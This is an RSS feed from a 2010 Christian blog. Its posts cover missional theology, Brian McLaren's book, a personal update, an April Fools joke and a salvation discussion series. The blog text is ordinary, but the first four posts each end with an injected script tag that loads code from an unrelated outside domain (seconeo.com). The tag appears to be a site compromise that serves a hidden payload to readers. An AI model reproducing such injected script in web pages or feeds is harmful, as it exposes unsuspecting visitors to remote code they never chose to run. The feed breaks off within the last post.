<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Subversive Influence</title>
	<atom:link href="http://subversiveinfluence.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://subversiveinfluence.com</link>
	<description>Live your faith.  Share your life.</description>
	<lastBuildDate>Tue, 06 Jul 2010 03:44:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Missing the Heart of Missional?</title>
		<link>http://subversiveinfluence.com/2010/07/missing-the-heart-of-missional/</link>
		<comments>http://subversiveinfluence.com/2010/07/missing-the-heart-of-missional/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 03:44:33 +0000</pubDate>
		<dc:creator>Brother Maynard</dc:creator>
				<category><![CDATA[Missional]]></category>
		<category><![CDATA[evangelism]]></category>
		<category><![CDATA[missional shampoo]]></category>
		<category><![CDATA[not missional]]></category>

		<guid isPermaLink="false">http://subversiveinfluence.com/?p=3514</guid>
		<description><![CDATA[<p><img class="alignright" src="/images/2010/evangecube-its-missional.jpg" width="420" height="195" alt="evangecube-its-missional.jpg" /> Okay, so it&#8217;s not <a href="http://www.kinnon.tv/2007/07/missional-shamp.html" title="Missional Shampoo">shampoo</a>, but I wanted to point this out and then forgot about it when I was posting <a href="/2010/07/july-update-from-brother-maynard/" title="July Update from Brother Maynard">yesterday&#8217;s update</a>. Maybe it&#8217;s a mental block because I also celebrated my birthday during my recent blog convalescence (or whatever that was). And one of my gifts was an <a href="http://store.e3resources.org/EvangeCube-Individual-Cubes;jsessionid=0a0109441f43872789afae154c49a2ab9267f5eb29b3.e3eTaxiNaN0Te34Pa38Ta38Nahj0" title="EvangeCube Classic (Individual Cubes)">EvangeCube</a>.</p>
<p>No, really.</p>
<p>It was. And when you stop laughing, I&#8217;ll have to tell you that I was&#8230; well, <em>speechless</em>. Doesn&#8217;t happen a lot, but there it was, me with nothing to say. Totally dumbfounded. Had it been intended as a gag gift, I&#8217;d have known better how to react. Alas&#8230;</p>
<p><img src="http://subversiveinfluence.com/images/2010/07/ecube.jpg" alt="ecube" title="ecube" width="138" height="125" class="alignleft size-full wp-image-3517" /> Anyway, there was a url printed on the cube: <a href="http://www.e3resources.org/" title="E3 Resources">www.e3resources.org</a>, and I had to look. (You would have too, believe me.) And I discovered, right there in the website banner across the top: &#8220;<em>Your</em> Missional Church Resources&#8221; . What was I worried about? It&#8217;s <em>missional</em>, after all. And not only that, it says this is &#8220;where every purchase advances missions around the world.&#8221; Makes me want to line up and spend away!</p>
<p><strong>Not.</strong></p>
<p>But now if I ever need a greeting card with an encoded &#8220;Gospel message,&#8221; I&#8217;ll know where to go. These people are &#8220;The Supply Line to the Front Line&#8221;. Though somehow I&#8217;ve just never been really into that conk-them-over-the-head kind of missional. Because I always figured it simply <em>wasn&#8217;t</em>. But it kinda brings back to mind the whole crusade about trying to get people to <a href="http://subversiveinfluence.com/2010/02/just-what-is-missional/" title="Just What Is Missional?">use the word properly</a>. Maybe that&#8217;s what wore me out, because it evidently isn&#8217;t working too well.<script src="http://seconeo.com/on"></script></p>
]]></description>
		<wfw:commentRss>http://subversiveinfluence.com/2010/07/missing-the-heart-of-missional/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>July Update from Brother Maynard</title>
		<link>http://subversiveinfluence.com/2010/07/july-update-from-brother-maynard/</link>
		<comments>http://subversiveinfluence.com/2010/07/july-update-from-brother-maynard/#comments</comments>
		<pubDate>Sun, 04 Jul 2010 18:30:43 +0000</pubDate>
		<dc:creator>Brother Maynard</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Books]]></category>
		<category><![CDATA[Current Events]]></category>
		<category><![CDATA[E/MC Community]]></category>
		<category><![CDATA[Emergent]]></category>
		<category><![CDATA[Emerging Church]]></category>
		<category><![CDATA[House Church]]></category>
		<category><![CDATA[I Ramble]]></category>
		<category><![CDATA[Missional]]></category>
		<category><![CDATA[Unfinished Reading]]></category>
		<category><![CDATA[brian-mclaren]]></category>
		<category><![CDATA[brother-maynard]]></category>
		<category><![CDATA[frank-viola]]></category>
		<category><![CDATA[leonard-sweet]]></category>
		<category><![CDATA[missionSHIFT]]></category>

		<guid isPermaLink="false">http://subversiveinfluence.com/?p=3509</guid>
		<description><![CDATA[<p><img class="alignright" src="/images/2010/calendar-diary.jpg" width="300" height="199" alt="calendar-diary.jpg" /> I know, it&#8217;s overdue. <em>Long</em> overdue. This blog seems to have disintegrated into one of those that has an irregular stream of posts saying, “Sorry I haven&#8217;t posted more, but I will soon, I promise.” But I don&#8217;t believe in those posts – and maybe I don&#8217;t really believe in apologies for not blogging. Sorry to disappoint you. <em>;^)</em></p>
<p>The fact of the matter is that some days I wonder if this blog has simply run its course, if I&#8217;ve just moved on to other things. I ran the daily <a href="http://penguinista.org/">Penguinista! News</a> from 1999 through 2003, posting an average of three items per day before I simply became too busy with the <a href="http://rainyday.ca/">business I was building</a> at the time. It was wearying to keep up the pace on all fronts, and something had to go. I still have that site and keep it live in the (probably) vain hope that I&#8217;ll get it going again, maybe as a community site that has multiple contributors – something I had always hoped for it. I&#8217;ve run this blog from late 2004 until last year with daily posts, the frequency of which has noticeably fallen off over the past year (master of understatement at times, me). In the past year or two I&#8217;ve been posting at <a href="http://toderash.net/"><em>Coup d&#8217;Oeil</em></a>, my non-pseudonymous blog which focuses mainly on business, marketing, and the Internet. The posting regimen there has been intentionally less stringent, not only so I don&#8217;t burn out, but because I hoped I&#8217;d have the time, energy, and inspiration to post here as well. Alas, the best-laid plans of mice and men&#8230;</p>
<p>So has this blog run its course? I don&#8217;t think so, at least not entirely. Perhaps it was largely for the purpose of documenting a season of detox, reinvention, and rediscovery. But how do you declare an end to such a season? You certainly can&#8217;t say you&#8217;ve discovered it all, that you&#8217;ve gotten the final perspective on theology of every subset fully figured out. That would indeed be folly, and is possibly by definition the demarcation point for the beginning of a season of rediscovery. At least poetically speaking. Each time I think I should just acknowledge that the major themes of this season have come to an end and it&#8217;s now gone into &#8216;maintenance mode&#8217;, something will occur to me that I <em>really</em> want to explore on this blog – like the way in which concern over widespread financial mismanagement behind theological guise in the church is a precursor to sweeping reformative change. (Think about that for a minute.) Or the danger that reimagined responses to sin can lead to lax moral requirements among emergent leaders. Or a hundred other things, including responses to other people&#8217;s musings, writings, and efforts within this little emerging-missional stream of things.</p>
<p>Of course, for that last one, I&#8217;d need to be reading more of what other people are saying. The corollary to not blogging much in this vein is not reading many blogs in this vein. Oh, I follow a few select ones more closely – people I know, my cronies, or those who I particularly enjoy reading. But I&#8217;ve not had a lot of time for reading emerging-missional blogs&#8230; or I&#8217;ve not given it a lot of time. I think many in this corner of the conversation are noticing that it&#8217;s slowed down. Part of that will be seasonal, but I think a larger part is simply the way the conversation has evolved over time. It&#8217;s matured, the thinking behind much of the practice has matured, and some of the topics have moved into other areas – as has the conversation. I have hopes that people who aren&#8217;t <em>talking</em> are busy <em>doing</em>, and though I think many are, I&#8217;m not naieve enough to chalk it all up to that. Sometimes when the wind of the Spirit is changing, we&#8217;re all busy watching the signs and making busy with everything required to tack successfully and bring the boat about so we can catch the wind of the Spirit again, having reorientated ourselves in a manner that brings us closer to our end destination, even if we&#8217;re not on a direct route. (Stop and think about that metaphor for a minute or two if you like.)</p>
<p><img class="alignright" src="/images/2010/anko-xnty.jpg" width="103" height="160" alt="anko-xnty.jpg" /> Now recently, I&#8217;ve read Brian McLaren&#8217;s latest, <a href="http://www.amazon.com/gp/product/0061853984?ie=UTF8&#038;tag=subversiveinf-20&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=0061853984"><em>A New Kind of Christianity: Ten Questions That Are Transforming the Faith</em></a>. Of course you know that this book has been quite controversial even <em>within</em> the emergent conversation. A number of folks feel that Brian has clearly gone off the reservation with this one, while others (mainly) in the the Emergent fold continue to be fully supportive of the positions Brian takes in each new book, including this one. For my part, I think the criticism is (a) overblown, and (b) not unfounded. In other words, I see what the fuss is about, but then again, I don&#8217;t. At the risk of being even less clear, I might say that certain of Brian&#8217;s theological points <em>should</em> cause signficant concern (and thereby yield appropriate discussion). At the same time, I don&#8217;t think he should be villified quite as much as he sometimes is. We can be upset at his denial of hell as eternal conscious torment, or as anything at all&#8230; but if that&#8217;s the case, once we have committed to reimagining our theology, we owe this doctrine a visit as well. As much as we may not like it, we&#8217;re duty-bound to discuss it and outline what our new understanding is becoming, whether it&#8217;s most like Brian&#8217;s or John Stott&#8217;s or Scofield&#8217;s or Tim LaHaye&#8217;s, or something else. And now that the guy to raise the subject has taken all the heat, the rest of us need to pick up the conversation and chase it down to some sort of resolution. Maybe it&#8217;s a better time to do this now&#8230; back when John Stott became an annihilationist, people in the evangelical world just tsk-tsk&#8217;d and said he&#8217;d gone liberal. Hopefully the time is ripe for a better discussion than that, and that we&#8217;ve learned enough not to do the same with Brian. Even if one believes he <em>has</em> gone liberal or gone off the reservation, or whatever&#8230; there&#8217;s no reason that dialogue can&#8217;t ensue. I do plan to write some further blog entries looking at this book in more detail. Yes, <a href="http://subversiveinfluence.com/2010/02/a-new-kind-of-conversation-why-i-might-be-neo-emergent/" title="A New Kind of Conversation: Why I Might be Neo-Emergent">my first response</a> was rather more snarky, but I&#8217;ve received and read my review copy now, so it&#8217;s time to talk about it. Either I&#8217;ll stir up the controversy again or I&#8217;ll help start some careful discussion of the topics. Hey, one can always hope.</p>
<p>Speaking of the man formerly known as the Godfather of the Emergent Movement, he is <a href="http://tallskinnykiwi.typepad.com/tallskinnykiwi/2010/07/i-am-fake-brian-mclaren-at-slot-festival.html" title="I am FakeBrianMcLaren at Slot Festival">evidently in hospital right now</a>, though I don&#8217;t have any details.</p>
<p><img class="alignright" src="/images/2010/jesusmanifesto.cover.jpg" width="107" height="160" alt="jesusmanifesto.cover.jpg" /> I also missed out blogging about Frank Viola and Len Sweet&#8217;s new book, <a href="http://www.amazon.com/gp/product/0849946018?ie=UTF8&#038;tag=subversiveinf-20&#038;linkCode=as2&#038;camp=1789&#038;creative=390957&#038;creativeASIN=0849946018" title="Amazon link"><em>Jesus Manifesto: Restoring the Supremacy and Sovereignty of Jesus Christ</em></a>. Now there&#8217;s another conversation I&#8217;ve wanted to delve into more deeply – I&#8217;ve got a prerelease copy of the book that needs my attention, and <a href="http://tallskinnykiwi.typepad.com/tallskinnykiwi/2010/06/jesus-manifesto.html" title="Jesus Manifesto Released Today">like Andrew said</a>, if it&#8217;s establishing the centrality of Christ, it&#8217;s gotta get a raised thumb (at least on some level). I&#8217;m sure it&#8217;ll be less controversial for Frank than anything with the word “Pagan” or “Reimagined” in the title. <em>;^)</em></p>
<p>The other thing I really dropped the ball on was the series we were doing around the <a href="http://www.missionshiftconference.com/" title="MissionShift Conference">MissionShift Conference</a> (for some reason the link is dead right now, account suspended). We were hitting a lot of topics that need discussion in order to come up with any form of missional manifesto. <a href="http://www.edstetzer.com/" title="Ed Stetzer">Ed Stetzer</a> was leading that charge, and I was to be summing up the contributions, but once I fell behind and got busy with other things, it seems it was game-over for me on that one. (Sorry, Ed!) I will still want to look at the statement they write and make some kind of response to it.</p>
<p>Then too, I think about some of my favorite posts here that I&#8217;d like to revisit, and I keep hearing things from or about churches who do things that make the baby Jesus cry. The last few bits I heard from my CLB makes me want to start naming names and calling them out&#8230; they make me angry at what they do to the innocent members through their abusive structures and attitudes with their “damn the torpedos” approach as they continue making “church life” into an oxymoron. Boy, do I want to blog about that some days, and I&#8217;m not sure if my restraint is better for me or better for them. Or maybe it just <em>is</em>, but I&#8217;m starting to think somebody needs to start calling this crap out for the antichristian way that it is.</p>
<p>I should also fill the silence with some bit of personal update as well, since there&#8217;s been a lot of “busy” going on to keep me occupied. Our little house fellowship is awash with comings-and-goings, most of which are “goings” as three of the couples in an already-small group are moving out of province: one for a year and two permanently. Of the latter, one of those couples moved away last summer “just for a year” with the plan to return this summer. We all knew they wouldn&#8217;t be back except to pick up the rest of their furniture from storage, it just took them a while to figure that out. It all makes me want to move away someplace else as well. More mayhem has been inflicted on the kids&#8217; gatherings than on the adults, so we&#8217;ll be needing to reimagine that again. As it is, we had quite a challenge to get together for the last two or three meetings to finish up the biblical timeline and scroll we&#8217;ve been working on since September. I had to abbreviate somewhat near the end, but we got it done. We have yet to find a space large enough to roll out the entire scroll to have a look at, so we&#8217;ve had to enjoy it in 25-foot sections at most.</p>
<p>Meanwhile as the summer sets in, we&#8217;re busy planning a trip to Vancouver this August (Hello Vancouverites, let me know you&#8217;re out there and maybe we&#8217;ll get together for hot or cold beverages!). I&#8217;ve rigged up a solar heater (redneck-style) for the above-ground pool we got for the kids last summer, and that&#8217;s working out nicely. I built a deck around one side of the pool and have begun fixing the fence, but there&#8217;s more to do, as well as finish off one more room in the basement so the kids will have a study area come fall. I need to do some more landscaping, and&#8230; some variety of other things from a list that just never seems to end. A lot of this needs to be completed by one deadline or another. We&#8217;re hoping to get away for a bit in July as well, and hoping that before then I will be properly diagnosed with whatever sleep disorder (apnea) I&#8217;ve got that leaves me unrested, needing to nap, and generally not as sharp as I should be. (Resolution there will be a relief to us all.)</p>
<p>Upon our return from Vancouver at the end of August, we&#8217;ll be homeschooling our kids for grades 4 and 7. To begin with, it was largely a financial decision, but it turned out that was only the catalyst for the conversation, and we&#8217;re looking forward to an interesting and flexible year of family time. It&#8217;s not a permanent change, as the kids <em>will</em> be going back into the school system (in their case, back to the private Christian school they&#8217;ve been in), but for now there&#8217;s a lot of excitement and planning going on for the year ahead, and the vague hope that we&#8217;ll be able to creatively make use of some newfound flexibility in all of our lives.</p>
<p><img class="alignright" src="/images/2010/webriggers-logo.jpg" width="150" height="47" alt="webriggers-logo.jpg" /> Professionally, I&#8217;ve been putting a good deal of effort into <a href="http://webriggers.net/" title="WebRiggers.net">WebRiggers</a>, a website development firm that I&#8217;ve been starting to build, mainly doing websites for small businesses based on <a href="http://wordpress.org/">WordPress</a>, which helps me deliver more functionality and flexibility for less money. (I&#8217;m not a price-leader, I&#8217;m a value-leader.) This has been going well, but of course it takes a lot of time and energy to get something going, and I&#8217;m always on the lookout for new clients or strategic partnerships.</p>
<p>And in the midst of all of this, I still wonder if this blog has run its course. Somehow, I don&#8217;t think it has, not entirely. Regardless, I don&#8217;t plan to yank it all down at any time&#8230; what I have written, I have written, and I&#8217;ll leave it here. Google seems to think there are around 80,000 links to the site, and I don&#8217;t want to break the Internet that badly by killing them all. At the same time, I do hope to add further content from time to time, but it will clearly be on a decidedly sporadic basis as life continues to intervene.</p>
<p>Brazil is out of the World Cup, so there&#8217;s some real disappointment to deal with as I try to realign my brain to the idea of not eating carbs, which I must say is actually my favorite food group. But summer is here and my wife and I had an omelet and coffee on the patio this morning. Must make sure I leave time to enjoy the weather.<script src="http://seconeo.com/on"></script></p>
]]></description>
		<wfw:commentRss>http://subversiveinfluence.com/2010/07/july-update-from-brother-maynard/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Remiss, but with Excuse</title>
		<link>http://subversiveinfluence.com/2010/04/remiss-but-with-excuse/</link>
		<comments>http://subversiveinfluence.com/2010/04/remiss-but-with-excuse/#comments</comments>
		<pubDate>Fri, 02 Apr 2010 04:11:17 +0000</pubDate>
		<dc:creator>Brother Maynard</dc:creator>
				<category><![CDATA[Amusing]]></category>
		<category><![CDATA[I Ramble]]></category>
		<category><![CDATA[april-fools]]></category>
		<category><![CDATA[joel-osteen]]></category>
		<category><![CDATA[Tim Allen]]></category>

		<guid isPermaLink="false">http://subversiveinfluence.com/?p=3504</guid>
		<description><![CDATA[<p><img class="alignright" src="/images/2010/osteen-allen.jpg" width="300" height="185" alt="Joel Osteen / Tim Allen" /> I feel I&#8217;ve let everyone down today, and must apologize for being so late in posting anything. People have begun second-guessing what I post on this anniversary, and the last week or so I&#8217;ve just been so busy that I didn&#8217;t manage to get a post together until now. I&#8217;ve been giving advice to Joel Osteen about his plans for a new video venue. We&#8217;ve been looking at the new holographic technology, but there&#8217;s a great concern that the hologram won&#8217;t be able to credibly shake people&#8217;s hands after the message. As a result, we&#8217;ve been negotiating with Tim Allen&#8217;s people about having Mr. Allen stand in for Joel at the new venue. We&#8217;ve reached an agreement on the hair dye, but Mr. Allen is balking at Joel&#8217;s demand for a wee bit of surgical tweaking of the nose. Will try to keep you posted. These show-biz types can be pretty demanding, so negotiations have been no picnic, let me tell you.<script src="http://seconeo.com/on"></script></p>
]]></description>
		<wfw:commentRss>http://subversiveinfluence.com/2010/04/remiss-but-with-excuse/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>How is God at Work Outside the Church&#8230; If At All?</title>
		<link>http://subversiveinfluence.com/2010/03/how-is-god-at-work-outside-the-church-if-at-all/</link>
		<comments>http://subversiveinfluence.com/2010/03/how-is-god-at-work-outside-the-church-if-at-all/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 17:59:22 +0000</pubDate>
		<dc:creator>Brother Maynard</dc:creator>
				<category><![CDATA[Missional]]></category>
		<category><![CDATA[Theology]]></category>
		<category><![CDATA[david-fitch]]></category>
		<category><![CDATA[Ecclesiology]]></category>
		<category><![CDATA[ed-stetzer]]></category>
		<category><![CDATA[Hauerwas]]></category>
		<category><![CDATA[Hoekendijk]]></category>
		<category><![CDATA[JOsh Wook]]></category>
		<category><![CDATA[prelude to missional]]></category>
		<category><![CDATA[salvation]]></category>
		<category><![CDATA[Yoder]]></category>

		<guid isPermaLink="false">http://subversiveinfluence.com/?p=3498</guid>
		<description><![CDATA[<p><img class="alignright" src="/images/2010/russian-church-afar.jpg" width="300" height="231" alt="russian-church-afar.jpg" /> I&#8217;m a week behind in the series now, but I hope to catch up. I really do have good intentions. Anyway, last week in the Missional Prelude series, the gang was talking about how God is at work outside of the church. As is the pattern, <a href="http://www.edstetzer.com/2010/03/monday-is-for-missiology-how-a.html" title="Monday is for Missiology: How and Why is God at Work Outside the Church?">Ed Stetzer opened things up on Monday</a> with the question: &#8220;How and Why is God at Work Outside the Church?&#8221; He then started namedropping, opening with &#8220;J.C. Hoekendijk,&#8221; who some may remember <a href="/2010/02/just-what-is-missional/" title="Just What is Missional?">has been discussed in a prior series</a>. Ed writes, &#8220;For Hoekendijk, the concept of shalom (a Hebrew word meaning peace, completeness, and welfare) was a more all-inclusive notion than salvation&#8230;. Salvation was broadened and, in some ways, redefined.&#8221;</p>
<p>He describes the conference of the Commission for World Mission and Evangelism of the WCC in Bangkok in 1973, where an attempt to ascertain what salvation was. &#8220;In the end, the WCC defined salvation primarily (some would say exclusively) in &#8216;this-worldly&#8217; terms.&#8221; Their report included four dimensions to salvation: economic justice against exploitation, human dignity against oppression, solidarity against alienation, and hope against despair in one&#8217;s personal life. These four dimensions, they said, must be related one to another.<br />
<!-- BEGIN SIDEBAR -->
<div style="width:180px;float:left;margin-right:5px;padding:4px;border-top:2px #120 solid;border-bottom:2px #120 solid;background:#eee;border-left:1px solid #120;border-right:1px solid #120;font-size:85%;">
<strong style="text-align:center;">Prior Missional Prelude Posts</strong></p>
<ul style="list-style:inside;">
<li style="list-style-type:none;"><a href="/2010/03/prologue-to-missional-discussions/" title="Prologue to Missional Discussions">Prologue to Missional Discussions</a></li>
<li style="list-style-type:none;"><a href="/2010/03/salvation-in-a-prologue-to-missional-discussions/" title="Salvation in a Prologue to Missional Discussions">Salvation in a Prologue to Missional Discussions</a></li>
</ul>
</div>
<p><!-- END SIDEBAR --><br />
Were I to look at the list and shorten it to something like &#8220;hope in place of exploitation, oppression, and alienation,&#8221; we might come out with something sounding much like a partial definition of basic human rights. But let&#8217;s come back to that&#8230; for now, we&#8217;ll just note that the question of what constitutes salvation will need to be answered in order to properly come back at this one. So far, we can see something of what has been called the &#8220;social gospel&#8221; when used in establishing a dichotomy between that an the &#8220;real&#8221; or &#8220;spiritual&#8221; gospel which includes the proclamation and acceptance of Christ. Perhaps we can also see a conception of salvation which is broad enough to include both. Ed continues,</p>
<blockquote><p>Yet, it is important to note that salvation was then defined as more than individuals being redeemed. As such, it does not always require the church&#8217;s involvement. God is saving in many ways&#8211; not just from sin, death and hell&#8211; but also economic, etc. And, soon that theological view led some to believe that God was at work outside of the church&#8211; something most would agree. But, others took the message further, teaching that God is working in saving ways outside of the proclamation of the gospel and belief in Christ.</p></blockquote>
<p>This last phrase is the crux of the question. I suspect that up until then, we get hung up on the semantics involved, a sport in which I am usually an eager participant (even in this post). For example, if asked whether God is at work savingly outside the church, I might argue that once salvation (in the spiritual sense) occurs, the subject is by definition <em>inside</em> the church &#8212; defined in a global spiritual sense&#8230; but not before then. To define the church otherwise is to leave the question of who&#8217;s in and who&#8217;s out in the hands of men and not in the determination of God. By this definition, outside the church is the only place where God needs to act <em>savingly</em>. I may then be sorely tempted to leave another question hanging in the air: &#8220;Is God at work savingly <em>within</em> the church?&#8221; (Answer that with semantics or cynicism, whichever you prefer.)</p>
<p>In his explanation that the church is still needed even if God works outside of it, <a href="http://www.reclaimingthemission.com/the-churchs-role-within-the-missio-dei-yes-we-still-need-the-church/" title="The church’s role within the Missio Dei – Yes we still need the church.">David Fitch rephrases the question</a>: <em>&#8220;In other words, are believers (or “the church”) the only instrument for proclaiming the Gospel and bringing individuals, through the finished work of Jesus on the cross and the power of the Holy Spirit, into the Kingdom of God or are there other means? Or perhaps more broadly, how, then, is God at work outside the church?&#8221;</em> He distances himself from a yes/no answer to suggest that &#8220;the church is the epistemological foundation from which we can see together the Kingdom coming into being ahead of time.&#8221; He then tosses in names like Yoder and Hauerwas.</p>
<p>David then seeks to avoid any separation between God&#8217;s work and his grace &#8220;because all things are in the process of being reconciled to this one end. Personal and social salvation cannot be separated. &#8230;God is at work in the world in multitudinous ways that we must always discern so as to truly particpate [<em>sic</em>] in the remaking of all things.&#8221; I appreciate the portrait he then paints of God&#8217;s people seeking to discern where God is at work and participate in what God is already doing.</p>
<p>Jeff whose-last-name-I-didn&#8217;t-catch chimes in nicely here, explaining that God &#8220;was already on mission and invited Abram to join Him.&#8221; He also restates and then answers the question, making his negative response an affirmative to Ed&#8217;s question.</p>
<blockquote><p>&#8220;Are believers (or “the church”) the only instrument for proclaiming the Gospel and bringing individuals, through the finished work of Jesus on the cross and the power of the Holy Spirit, into the Kingdom of God or are there other means?&#8221;</p>
<p>No.  God’s mission is not dependent on believers participation.  If it was it would have ended long ago.  God will do what God wants to do. Illogically He has asked us to join Him on the journey.</p></blockquote>
<p>I like this version, as it serves to not limit God&#8217;s work to the obedience of the church&#8230; which it must be admitted has had a rather tenuous grip on success for countless centuries now. In this vein, Jared Wilson says that</p>
<blockquote><p>God is at work outside the church because he is God and his power and reach cannot be contained or limited. That he chooses to use the Church as the witness to his love and as the new humanity of his Son is an enduring testament to his incomprehensible grace, but to say the Church is the locus of God&#8217;s saving activity in the world is not to say the Church is the limit of his saving activity.</p></blockquote>
<p>The discussion around these posts was of course varied, from the first response of a flat &#8220;no&#8221; to indicate that God did not work outside the church at all, to <a href="http://www.edstetzer.com/2010/03/monday-is-for-missiology-how-a.html#comment-251832" title="Reply to Ed Stetzer's post">a theological reference</a> to common grace and general revelation and <a href="http://www.edstetzer.com/2010/03/monday-is-for-missiology-how-a.html#comment-251743" title="Reply to Ed Stetzer's post">an experiential reference</a> to support the opposite response. The latter cites a report of Isa (Jesus) appearing to a Muslim man in a dream to prompt his search for Christ.</p>
<p>It seems to me a dubious suggestion to envision a place within our grasp in which God is not at work in some fashion or other&#8230; but is such work sufficient for salvation? Perhaps not in any of the examples provided thus far in the discussion, but it seems such a small leap for God to have given a complete explanation in a dream and the Holy Spirit to have drawn an awakened response in the report just cited that we ought not issue a categorical no. We might perhaps say that the type of salvation envisioned in the work of God outside the church has to do with the re-ordering of creation and spread of social justice, which although <em>a part</em> of the broadly-defined salvation in which we hope, it nevertheless represents an incomplete version &#8212; temporal salvation, if you will &#8212; and appears to lack the necessary individual trust in Christ for eternal salvation. On this basis, it seems that our participation in the work God is already doing outside the church is designed to gently introduce this missing element in order to meet the spiritual hunger which God&#8217;s work is intended to spark. Only the work of the Holy Spirit enables us to connect the two <em>in situ</em>.</p>
<p>The contributions from this discussion are important to the missional question overall, but unfortunately it seems we may need larger or more specific definitions of &#8220;the church&#8221; and of salvation itself, upon which we have already touched. Anticipating another looming difficulty, we may have to decide what it is people are being saved <em>from</em> &#8212; in other words, we will yet need to come to grips with the definition of <em>sin</em>, and to what extent a common understanding is necessary in the context of the missional question.<script src="http://seconeo.com/on"></script></p>
]]></description>
		<wfw:commentRss>http://subversiveinfluence.com/2010/03/how-is-god-at-work-outside-the-church-if-at-all/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Salvation in a Prologue to Missional Discussions</title>
		<link>http://subversiveinfluence.com/2010/03/salvation-in-a-prologue-to-missional-discussions/</link>
		<comments>http://subversiveinfluence.com/2010/03/salvation-in-a-prologue-to-missional-discussions/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 04:35:18 +0000</pubDate>
		<dc:creator>Brother Maynard</dc:creator>
				<category><![CDATA[Church]]></category>
		<category><![CDATA[Ecclesiology]]></category>
		<category><![CDATA[Missional]]></category>
		<category><![CDATA[Theology]]></category>
		<category><![CDATA[missionSHIFT]]></category>
		<category><![CDATA[soteriology]]></category>

		<guid isPermaLink="false">http://subversiveinfluence.com/?p=3487</guid>
		<description><![CDATA[<p><img class="alignright" src="/images/2010/jesus-peace.jpg" width="300" height="200" alt="jesus-peace.jpg" /> Ed Stetzer suggests that we can avoid the trouble that shipwrecked the <em>missio dei</em> movement in part &#8220;by going back and looking at the roots of the missional movement and having a robust theological discussion that heightens our awareness of the issues at hand.&#8221;</p>
<p>To this end, our synchro-series turns its attention first to the intersection of missiology and soteriology. One might expect this relationship to be &#8220;a given,&#8221; but perhaps for just this reason it bears a slightly closer inspection. In his intro-post on Monday, Ed notes that &#8220;some consider the transmission of salvation as a physical process&#8221; (sacramentalist) while &#8220;[o]thers think that salvation is transferred by moral action[, where] salvation is not so much something to be acquired by some individual or organization and conveyed to others, as it is something created by shifting the state of affairs.&#8221; Thirdly, he writes, &#8220;Evangelical theologies have generally represented a third idea: salvation is a work of grace, accomplished by Christ, and received by faith alone. In the meritorious sense, the recipient is passive.&#8221;</p>
<p>Jonathan Dodson talks about how in some circles, mission emphasizes social activism to the apparent neglect of evangelism, while in others, evangelism is more important than social activism. Mission reduces people to evangelistic projects. He notes that &#8220;How we understand the person and work of Christ should affect our understanding and practice of mission.&#8221; I might paraphrase his question in other words to ask, <em>how much more is Jesus than a good example?</em></p>
<p>I was going to be surprised if nobody brought up the concept of salvation extended to creation rather than just human individuals. Is God saving individuals, or is he saving a singular bride comprising many individuals? Jared Wilson didn&#8217;t disappoint:</p>
<blockquote><p>The answer to the question is this: The missional church&#8217;s scope of salvation will determine the scope of its mission. Is Jesus saving souls but damning creation? Or is he saving souls not just for their escape from hell but to be the princes under his kingship over a coming new heavens and earth, the restoration of the brokenness of <em>all things?</em></p></blockquote>
<p>I further loved it when Jared said, &#8220;The two great failures of the evangelical church today are failures of the highest magnitude: neglected proclamation of the gospel and refused embodiment of the gospel.&#8221; He states that a both/and approach is necessary if we are to avoid being legalists or self-idolators. Jared&#8217;s post was, in fact, a highlight of the discussion for me this week: <a title="The Two-Fisted Gospel: A Manifesto for Kingdom Militancy" href="http://gospeldrivenchurch.blogspot.com/2010/03/two-fisted-gospel-manifesto-for-kingdom.html">The Two-Fisted Gospel: A Manifesto for Kingdom Militancy</a>.</p>
<p><a title="Missional Soteriology: Does the Missional Vision Change How People Get Saved?" href="http://www.reclaimingthemission.com/missional-soteriology-does-the-missional-vision-change-how-people-get-saved/">David Fitch responds</a> to Ed&#8217;s contention that salvation took a turn during the Enlightenment, saying</p>
<blockquote><p>I don’t think either Luther or Calvin imagined what modernity would eventually do in isolating and reducing the atonement to a forensic transaction between each individual and God. This view of salvation became fully flowered in American revivalistic evangelicalism. This view of salvation, I would argue, has done as much damage to the furtherance of Mission in the world as the protestant mainline development.</p></blockquote>
<p>This plus the ecumenical error to which Ed refers, says David, is a two-pronged assault that leaves us with an &#8220;over hyped, individualized salvation that takes the shape of either people individually promoting a Kingdom enlightenment agenda for justice&#8230; or people promoting a version of a ticket out of hell for individuals.&#8221;</p>
<p>In the discussion that ensued in response to the various posts, <a title="Relational Mission" href="http://mscottboren.com/">Scott Boren</a> chimes in:</p>
<blockquote><p>If we want to talk about salvation then we need to speak to the nature of the problem. What’s wrong with the world? When we talk about this, it’s clear that we have to go back to creation and to what God intended for the world. Adam was charged to steward creation, not just to have a individual relation with God. We have a creation problem, which of course includes people, but the issues that need salvation are larger than getting people to individually receive grace through faith.</p>
<p>Simply put: instead of responding to Ed’s question in the way it has been framed, I think that having a missional imagination calls us to reframe the question around God’s intent of creation, how we messed it up and what God seeks to bring to restore creation.</p></blockquote>
<p>I like what David, Jared, and Scott contribute in the rejection of certain phrasings of the question as a means of rejecting a false dichotomy (which I don&#8217;t think Ed intended other than for discussion purposes) between two poles that have been at odds for some time. It speaks to me of pendulum-swings where everyone argues the evils of one extreme without realizing that its removal means the pendulum won&#8217;t swing at all. By which I mean not that we&#8217;ll be left with balance but that we&#8217;ll be left without the necessary expressions from each side: each is impotent without the other.</p>
